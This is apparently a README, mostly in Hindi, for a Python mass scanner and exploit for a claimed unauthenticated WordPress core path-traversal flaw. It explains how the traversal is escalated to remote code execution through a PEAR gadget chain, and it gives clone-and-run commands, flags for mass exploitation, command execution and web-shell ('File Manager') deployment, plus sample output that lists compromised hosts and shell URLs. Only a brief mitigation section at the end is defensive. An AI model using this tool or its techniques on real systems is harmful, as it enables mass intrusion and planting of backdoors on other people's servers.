CVE-2026-87902 के लिए Python मास स्कैनर और एक्सप्लॉइट, जो get_page_template() में एक अनधिप्रमाणित WordPress कोर LFI है, जिसे PEAR गैजेट चेन और File Manager शेल के माध्यम से RCE तक बढ़ाया गया है।
🔍 अवलोकन · ⚡ त्वरित शुरुआत · 🎯 उपयोग · 📊 आउटपुट · 📞 संपर्क
CVE-2026-87902 WordPress core में एक गंभीर अप्रमाणित लोकल फ़ाइल इन्क्लूज़न (LFI) भेद्यता है जो PEAR gadget chain के माध्यम से रिमोट कोड एक्ज़ीक्यूशन (RCE) तक पहुँचती है।
यह भेद्यता wp-includes/template.php:get_page_template() में निहित है, जो सार्वजनिक pagename क्वेरी वेरिएबल ($_POST से पढ़ा गया) का उपयोग टेम्पलेट नाम बनाने के लिए करता है बिना उसे validate_file() से गुज़ारे। चूँकि locate_template() केवल file_exists() निष्पादित करता है, सक्रिय थीम के अंदर एक वास्तविक page-* डायरेक्टरी पूर्ण पाथ ट्रैवर्सल की अनुमति देती है।
┌─────────────────┐ ┌──────────────────┐ ┌──────────────────┐
│ Anonymous POST │───▶│ LFI via │───▶│ PEAR Gadget │
│ page_id + │ │ page-templates/│ │ config-create │
│ pagename │ │ ../../../ │ │ writes shell │
└─────────────────┘ └──────────────────┘ └──────────────────┘
│
▼
┌──────────────────┐
│ 💀 RCE + │
│ File Manager │
└──────────────────┘
| उत्पाद | असुरक्षित | पैच किया गया |
|---|---|---|
| WordPress Core | 4.7.0 → 7.1.1 | 7.1.2+ |
| गंभीरता | 🔴 CRITICAL | — |
| CVSS 4.0 | 9.8 | — |
| प्रमाणीकरण | ❌ आवश्यक नहीं | — |
# Clone repository
git clone https://github.com/HackfutSecRoot/CVE-2026-87902.git
cd CVE-2026-87902
# Install dependencies (stdlib only — no pip needed!)
python --version # Requires Python 3.8+
# 1. Create your targets file
echo "https://target.com" > targets.txt
echo "https://another-site.org" >> targets.txt
# 2. Non-destructive check (safe)
python main.py -l targets.txt --check --threads 20
# 3. Full exploit + File Manager
python main.py -l targets.txt --rce --shell --threads 10
| मोड | कमांड | विवरण |
|---|---|---|
| 🔍 जाँच | python main.py -l targets.txt --check |
गैर-विनाशकारी LFI पहचान |
| 💥 LFI | python main.py -l targets.txt |
OPML oracle के साथ LFI की पुष्टि करें |
| ⚡ RCE | python main.py -l targets.txt --rce --command "id" |
PEAR के माध्यम से कमांड निष्पादित करें |
| 📁 शेल | python main.py -l targets.txt --rce --shell |
File Manager तैनात करें |
python main.py --help
-u, --url URL Single target URL
-l, --list FILE File with targets (one per line)
--check Non-destructive check only
--rce Enable RCE escalation
--shell Deploy File Manager shell
--command CMD Command to run (default: id)
--page-id N Force specific page ID
--threads N Concurrent threads (default: 20)
--timeout S Per-request timeout (default: 12)
--proxy URL HTTP(S) proxy
--output FILE Full log output
--output-vuln FILE Vulnerable targets only
--output-rce FILE RCE targets only
--no-color Disable ANSI colors
# Single target with RCE + File Manager
python main.py -u https://target.com --rce --shell --command "whoami"
# Mass scan with proxy (Burp Suite)
python main.py -l targets.txt --rce --proxy http://127.0.0.1:8080 --threads 5
# Custom page ID if discovery fails
python main.py -u https://target.com --page-id 2 --rce --shell
सफल रन के बाद, निम्नलिखित फ़ाइलें जनरेट होती हैं:
| फ़ाइल | सामग्री |
|---|---|
📄 results.txt | पूर्ण स्कैन लॉग |
🎯 vulnerable.txt | पुष्ट LFI वाले लक्ष्य |
💀 rce.txt | सफल RCE वाले लक्ष्य |
📁 shells.txt | फ़ाइल मैनेजर URL |
======================================================================
CVE-2026-87902 Mass Scanner v3.0
WordPress get_page_template() Unauthenticated LFI -> RCE
GHSA-7hp8-65ch-5whp | CVSS 9.8 | CWE-22
Affected: WordPress 4.7.0 - 7.1.1
Payload: File Manager (auto-deploy)
======================================================================
Mode : EXPLOIT + FILE MANAGER
Targets : 50
Threads : 20
Timeout : 12.0s
Started : 2026-09-28 14:32:15
======================================================================
[14:32:16] [+] https://target1.com | VULNERABLE | LFI confirmed: wp-links-opml.php via page-templates/../../../../ (page_id=2, POST, depth=4)
[14:32:17] [*] https://target1.com | Starting RCE + File Manager...
[14:32:18] [+] Gadget found: /usr/share/php/pearcmd @ depth=7
[14:32:19] [$] File Manager deployed: https://target1.com/?page_id=2&pagename=...
[14:32:19] [$] https://target1.com | File Manager | https://target1.com/...
[14:32:20] [-] https://target2.com | NOT_VULN | Patched: 7.1.5 >= 7.1.2
[14:32:21] [!] https://target3.com | POSSIBLY | Vulnerable version (5.8.1) but OPML oracle didn't fire
[14:32:22] [!] https://target4.com | RCE | uid=33(www-data) gid=33(www-data)
======================================================================
SCAN SUMMARY
======================================================================
Total scanned : 50
Vulnerable : 12
RCE achieved : 8
File Managers : 8
Possibly vuln : 5
Not vulnerable : 28
Not WordPress : 3
Errors : 2
Elapsed : 45.2s
Rate : 1.1 hosts/s
======================================================================
यदि आप एक सिस्टम प्रशासक हैं:
7.1.2 या उससे नए संस्करण पर6.8.10, 7.0.6, 7.1.2pagename में ../ या %2e%2e वाले अनुरोधों को ब्लॉक करेंphp.ini में register_argc_argv अक्षम करें (PEAR श्रृंखला को ब्लॉक करता है)pearcmd.php हटाएं यदि PEAR की आवश्यकता नहीं है; php.ini
register_argc_argv = Off